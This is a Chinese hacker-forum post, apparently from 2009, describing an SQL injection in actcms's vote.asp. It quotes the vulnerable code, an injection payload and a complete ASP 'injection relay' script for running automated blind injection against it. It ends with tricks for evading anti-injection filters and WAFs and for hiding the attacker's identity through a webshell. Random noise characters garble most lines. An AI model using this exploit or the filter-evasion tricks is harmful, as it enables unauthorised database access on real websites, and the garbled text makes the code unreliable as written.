2 u# J' d0 i: a R# n看到ninty大牛的blog的一篇文章
3 a. F9 W$ ^( ?* i: @8 h' N& h6 z链接标记[url]http://www.forjj.com/?action=show&id=80[/url]+ Z9 c3 _4 S4 U. k0 B+ j# d
关于actcms漏洞的利用 by 3x qq:381862589! c+ f& f% n2 n, ]
转载请注明以上
/ z( @! T# Y4 q2 _+ e& v& }4 ~漏洞文件:
: \/ J7 P8 A% m) x: e' L$ d/plus/vote/vote.asp' Z% v( c, S" d
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
1 j# ~: k, C8 g9 G% d1 p; f5 y Y( e$ r' a# f; ]7 F6 d( n! |
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" , o4 W) i8 M/ G \' x) ^. J
4 ^ k9 d# X H( @. g
3 response.end ' R( |/ w. Z+ j4 {: W
; Y0 D$ d+ [* y$ E& q; p% E5 E4 end if
$ l$ T5 ^9 u, z5 {. H2 G9 ]/ V1 P3 |6 A Z, u' J9 C
5 for i=1 to request("voted").count
% |& A- C$ _7 b! c" u1 a; s* s& z
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
9 v* `5 m( @6 C( F S% h6 x8 O5 E( `6 B' h. F# [ L
7 next
6 F* P$ P A' z/ O) A
; D, ?4 M7 L: R0 t$ v8.... , A Y2 f) I7 c, y5 G8 g9 i
, w. Y/ r6 L5 s/ l" v9 F9response.Redirect "index.asp?id="&id&"" 0 O$ G# O) n# m0 u
投票结束回跳转回index.asp这个投票结果页面
) J7 s" H$ b0 L( ^; F9 n" k( ?7 ~如果投票成功票数加1
) Y6 _0 e! G) `$ | 失败票数不变
5 S7 J* Z e, `6 i& O/ k& y如图:6 O% V0 f& Q4 |; r5 T- G# v
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)4 u3 l( n) m- z! S# i
/ K7 V3 {7 |4 {2 i+ I
2009-12-27 13:20
8 b( E! F. [; M% m8 S0 R) o' J5 N, U b$ q$ m8 Y5 Y
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了* }7 ]( Y$ H* R" y; k8 ]
3 x* N. F* T( h, \
本帖隐藏的内容需要回复才可以浏览
3 c+ h: u H* c1 t* x1 o$ Z, Y6 Y我们用注入中转来实现这个注入具体代码如下:
' }) i3 V8 w4 i先用寂寞的刺猬大牛的注入中转生成jmget.asp0 X3 R2 ~- `: R. w, n- v
注入地址:http://localhost/actcms/plus/vote/vote.asp. k( y* O& Q) v. r3 F# ]3 H
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
! N0 D' G# P/ h' h6 {1 f( Y8 e- s7 T! E0 {" B- K
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
+ t& W7 @4 K7 q5 a; w6 }: ]% ?
* Y% S, k1 u: Y) ? `- H02JmdcwName=request("jmdcw") / x* d2 \4 Q- N7 a0 t# q
* N' n V7 H# }8 i- M% B3 X- G
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
$ E; I' ~1 X- |( ]. P& R
; I) ~! `' l! v* n( r. J+ H04JmStr="id=1&voted=-1 or 1="&JmdcwName
U+ w, L! I1 ~! G- Z( Z4 W+ h
2 A& [) [2 X. H( {! ~05JmStr=URLEncoding(JmStr) / }5 u# S D( p' q0 w% P
; q- P8 w. l9 k. W
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"8 [) G# W: [0 U, r
+ U( J' ~. a; [5 I07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
" y* b+ X4 l+ W" Y! R. a5 l4 P
; \7 w0 g) _/ h/ ?08testurl=testurl & "?" & JmStr ( Q9 v5 K) x3 F
1 |/ ^6 Z# ^' J09JMUrl=JMUrl & "?" & JmStr 8 t: |3 v7 a+ [& _3 D) S3 v% p
$ o/ z9 o4 j2 O- ~) Q4 I2 L
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
8 ?) `' |/ x4 u: c; W7 M
6 S1 G/ D; k: U3 ?2 F$ D11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"2 W" Z$ f f3 V6 v; W& n0 H
1 Q- ]5 Z0 D& B9 c- I: l( b12JmCok=replace(JmCok,chr(32),"%20") , n5 B% p" G6 }% h$ p0 T
0 ]( I- k7 \ m3 B$ ~/ j: l# H4 z13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 : c( [; @7 p* x# y4 [
5 E; W+ R; \: B
14
7 y$ K0 H/ J4 z5 ]. f$ x& z C
( X" ^+ p% a3 p) h15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 ( D# k5 h z8 p
* ? v% u# o( a: _4 o16
( H) H4 ]- F* c, N: U* z+ ~& ]3 X" O$ w
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
5 M' \5 J' G: `8 ]0 u! q# _: B: o% I) R
18response.write test1&""&test2&""" [, R# @' X5 ~: \
' M v( F, G: e) Q/ R9 P% Z" V P- y
19
; H6 n4 c, l0 b) T! y S) a. P$ Z# F: t; {5 ^
20if test1=test2 then '如前后记录相等,表示失败 & X% x( R5 U; H' @( S. |# s6 h
6 c; V8 \$ n* l {. z- W7 o/ I: _21 response.write "failed"
0 y4 O& g9 ^4 J/ Z# n5 H3 t- P* r) S E
22else
) ]; B1 ]) h7 o- C2 |! s
, A# {. c8 f; |" W {% ^8 d1 m23 response.write "succeed"$ M0 ~+ F5 A3 z- i$ Q
. ]7 t. F! F# R1 D. V3 d
24end if
9 K, m. r; {) w0 C* C$ l! |
: p7 \, S7 C/ u3 V+ A25 8 r8 z9 F. V. Q/ H, M
6 Q6 i5 b o& F! h5 d- E1 t26response.write "by 3x"
% D v. Z' f' D% g- ?& h" v7 }" `# s' Z5 d s3 H
27 ( @9 s8 \" P# y. N, J/ I; C( X; H
4 R m1 z9 s% K* h* J/ K
28
+ @" e5 s2 S! }+ ]# g( j8 T$ O3 ~, k4 E) G
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
' Q/ C$ u3 C3 y
( `) C* {5 h2 A0 x, ]1 O" O30Dim Http / ?2 L6 ~6 `1 b. _. J9 \" A
; _/ h7 E s3 p0 M
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") . T+ M8 [7 Z8 D3 {% ~$ E1 p5 o
0 C" q! u$ n; D6 Q, d
32With Http
) \/ w( \: ^+ K
0 M& H; Z$ G! K9 x" G4 d' z d33
" }1 l5 _/ D; T- L
. o: i8 W: C S; O34.Open "GET",PostUrl,False+ \, s" I& ?0 E
. d2 ], t I7 \8 B6 {1 E( S; m
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"1 I, ~! t3 y: o* e
3 C6 @' D6 E' j# h. a
36.SetRequestHeader "Referer",PostRef
( Z; Z7 ^% z6 y0 s$ O3 Z/ V1 I* ` i
37.SetRequestHeader "Cookie",PostCok 9 q) j9 e. { S- ~
9 S3 M# m. N- ]$ \: _# w2 j7 W4 P9 u& k
38.Send ()
$ E2 d# `* R; U* o% r% y, x8 o, O! u
, R. ~0 m; D9 F/ ?0 }39PostData = .ResponseBody
3 l4 o1 @' ^8 o- F% p
( I( D- E- Y+ Q+ G G# X; `# w7 k40End With
% _$ O- L4 d4 P- e' O( b9 R+ b/ C+ J+ O j, w
41Set Http = Nothing; d$ W; S. S3 s$ T- C/ w/ V. t
A7 x1 l* ^, s m4 D" M
42PostData =bytes2BSTR(PostData)
3 j4 j! x7 h& Z& t4 X, ^
$ M+ L4 ^: s1 m6 ?6 V) R2 y43End Function3 R6 i% [8 K/ D! y
9 V4 C8 ?* z2 i0 x. A
44
. _( I& Q+ E- c* q, j( H" O# N' _) D1 s. S7 t
45 6 L9 ]5 H: p8 V+ s8 |* f2 r
* L' F8 X6 d( _3 M6 C( N) j$ A46Function bytes2BSTR(vIn) . ?( K( o; v$ r
7 q) o4 [$ {$ x. F! z2 T, c+ H; w
47Dim strReturn
9 f- D, T. B: `1 d6 d1 W/ O# X
4 `, C r8 x4 E48Dim I, ThisCharCode, NextCharCode 1 z' i; G( S( Z! }8 Q# y+ t
3 k/ w- ?0 q" _$ N& C/ i49strReturn = ""' t* `+ t( O+ U3 v
/ Q' c' v' c, A2 @8 |% e% a! r
50For I = 1 To LenB(vIn)
: m; ]* i6 n" O7 O E" {: S
/ E8 T1 c) L: d! _* H3 Y$ b1 M& {" F51ThisCharCode = AscB(MidB(vIn, I, 1)) 9 ]$ C' J0 M6 `2 \! [' N& Z
% Z) P5 g: o8 N+ M+ p4 w4 o, k1 p52If ThisCharCode < &H80 Then
6 v) N% m J4 \3 _4 r" r, [% H/ S( Q2 L7 F. X! W# c; Q' ~2 ?( i
53strReturn = strReturn & Chr(ThisCharCode)
$ M5 g7 K- N7 ^9 H8 n
5 z( M5 G" o/ L. v54Else
4 k' r9 P F+ p- W/ W( O" ~
' s4 s- I4 Z- B2 F2 I, a55NextCharCode = AscB(MidB(vIn, I + 1, 1)) % p3 m2 q6 }( f! b/ h
3 T- r+ A; f! f, J0 _56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 4 A) [- \: x5 G2 _: \$ Q: g
' ]' Z- h3 Y8 L7 ?* c
57I = I + 1
: U; W, [% `9 v+ i. i
( l5 M; u! i. E) G4 }% g, l58End If9 f7 m8 h7 m- l( c; z; h! H
+ p1 \4 h: P7 C/ V
59Next3 T: |3 T8 p3 i! x" e; n
& V2 @7 K! Y, o3 n4 G60bytes2BSTR = strReturn ! Z$ [6 x* P; {3 D) j; ?+ a% d7 O
9 @) E- s; [* i$ {4 Q
61End Function
# n8 g; J Z, x0 D/ Y
; m/ {# a) b$ {4 L e$ }- o' d; R62 7 {2 M" [* Q! J* T: \3 W
5 w9 t; L8 o- \! f+ C" L
63Function URLEncoding(vstrin) 4 W s" Y6 k* D( b
, E' o' w6 ]: t* }4 O& }
64strReturn=""
?$ H7 P) x$ b: f3 j
3 ]5 ]5 d7 |, k; F/ |' b3 h) [2 r! U65Dim i $ B* d5 _. k( r( ?
4 U: t0 f4 e [9 s! m$ j
66For i=1 To Len(vstrin) & u8 l1 H, W, {2 d9 s
2 a/ B0 M( u6 }$ y+ I6 x67ThisChr=Mid(vstrin,i,1) * x/ k0 [. ^7 m
3 H) A- G+ ^& ~' R; Q. Z0 Y68if Abs(Asc(ThisChr))< &HFF Then
0 H$ c; {9 C, I$ U' N. h6 k9 b! R8 d) S3 l7 I- A) I I% W
69strReturn=strReturn & ThisChr 2 }3 W* J6 |$ L' U/ v# U" P' `. I
( D5 Y: Y+ a" V9 s70Else, k q7 G$ e+ D. u* f
! ^! c7 V5 P8 e# J m71InnerCode=Asc(ThisChr) 4 B c$ y; B- K. Z, u" e
; |) g: U6 E% p' M& ~* a* p4 R `72If InnerCode<0 Then" y* N t" r8 R9 @4 z, u3 I
( \) p# o9 o$ ^5 `$ t7 w/ w
73InnerCode=InnerCode + &H10000
) J7 o Z4 I- t& r" e, ^$ v0 k" r, \! p8 }" ]) C9 ~
74End If
: Y7 k3 R d7 W& }' X3 b3 R$ f. M5 r$ N$ X
75Hight1=(InnerCode And &HFF00) \&HFF
, i' b6 e: A2 w. X" a' j+ K+ s: _5 k3 M& d- C7 G
76Low1=InnerCode And &HFF
! `7 Q- E! x- F+ ^; V: U+ N' f3 q D1 M2 n% c3 S/ c
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
3 F3 t% |2 n- x. R0 y; C {1 O3 V' z
78End if
6 j0 D! f, \! c! e, F
1 T0 J1 t4 r! e- N79Next- c$ p G7 X& A5 T8 z4 V/ A+ m
* r* w+ |* J. Y- _5 y& Q/ @80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 w# L. K7 w. l. M
& Y/ t3 Q0 U" m4 E81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
) a. z; t q% g! V* ]) a# _ z9 C$ Z u m! N5 i; J* b6 B" |- t
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
6 x6 K I, p) _8 L; ~, ^% G! k7 |3 o1 ]' k
83URLEncoding=strReturn
) `, s1 p* _! k, q/ \2 M2 n$ s0 m2 C8 T# @7 e5 c
84End Function E# E& d% U4 D8 I1 h+ u
! r8 v" t( \/ i) H. w) h8 |
85
6 R4 S" G5 t- d ~% ]
9 c- y+ ^- R4 `1 a2 M3 M86function getSt(body) $ n/ x' v1 K; p9 u3 P
( g0 \4 R6 w4 p9 v87 startpot=instr(body,"投票人数:")+len("投票人数:") 4 ~0 ?5 W* W: q7 T
+ c5 i8 S' \( }3 z1 w3 f88 endpot=instr(startpot,body," ") & A: W# d" \% g6 g7 q, C+ l7 W
$ E: X( k( t0 I1 t) L: N& R
89 getSt=mid(body,startpot,endpot-startpot)
) E- B2 ?; C3 a6 | h( M7 ?* p% y, B3 d6 r0 I9 |
90end function 2 D" R V' Y- A+ r! L3 g
0 M5 h' H1 P0 x
91%>" {. e( ]: f4 {% Y, J/ K
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了' G- G# k. T2 d `2 K+ A4 T3 c
测试下效果:
: ~& n" L7 e5 P8 D投票成功:
& Y) v" F* s% \3 ^! H r1 @8 @: Whttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
) r4 U% O v! H. E6 F! y
' e3 ]5 x1 V1 @2009-12-27 13:294 y7 g3 P( H O) n2 i0 V
投票失败4 f; O" \9 Q& P$ l8 Y
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)4 ?: c+ |$ e0 z$ {4 H8 [/ f
4 ], K# k9 A: \- a; v6 Y, h0 b; l
2009-12-27 13:29" X- T, `5 j9 u( {. ^% w
-------------------------------------------------------------------------------3 L w9 \) { n0 q4 a7 h7 j
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以& d2 |8 f+ z9 v0 `
很抱歉。。。只能用单线程工具去注入。。。。。9 s. B/ `0 c) J/ S% U7 q9 B
所以失败。。。不好意思。。。3 }+ ^# K2 h/ ~- x; {: ^1 H
-------------------------------------------------------------------------------
9 P2 M8 w! m) V1 m+ H$ X% y0 j! M1 j6 E$ C+ _( Z! ]
注入中转的一些其他应用: y: @. B6 W7 U. q
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
- W; x+ V+ g9 r. {& }1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id7 t; }/ ^% a! A
2.post注入转成get型的注入,方便我们使用工具来跑, h2 A7 i3 R4 L7 q! c! z J
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
* `! h8 W1 o" ] d8 j' s4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
$ Z* D* U! n( S( w6 q7 T) m# [( F% e1 F- o
|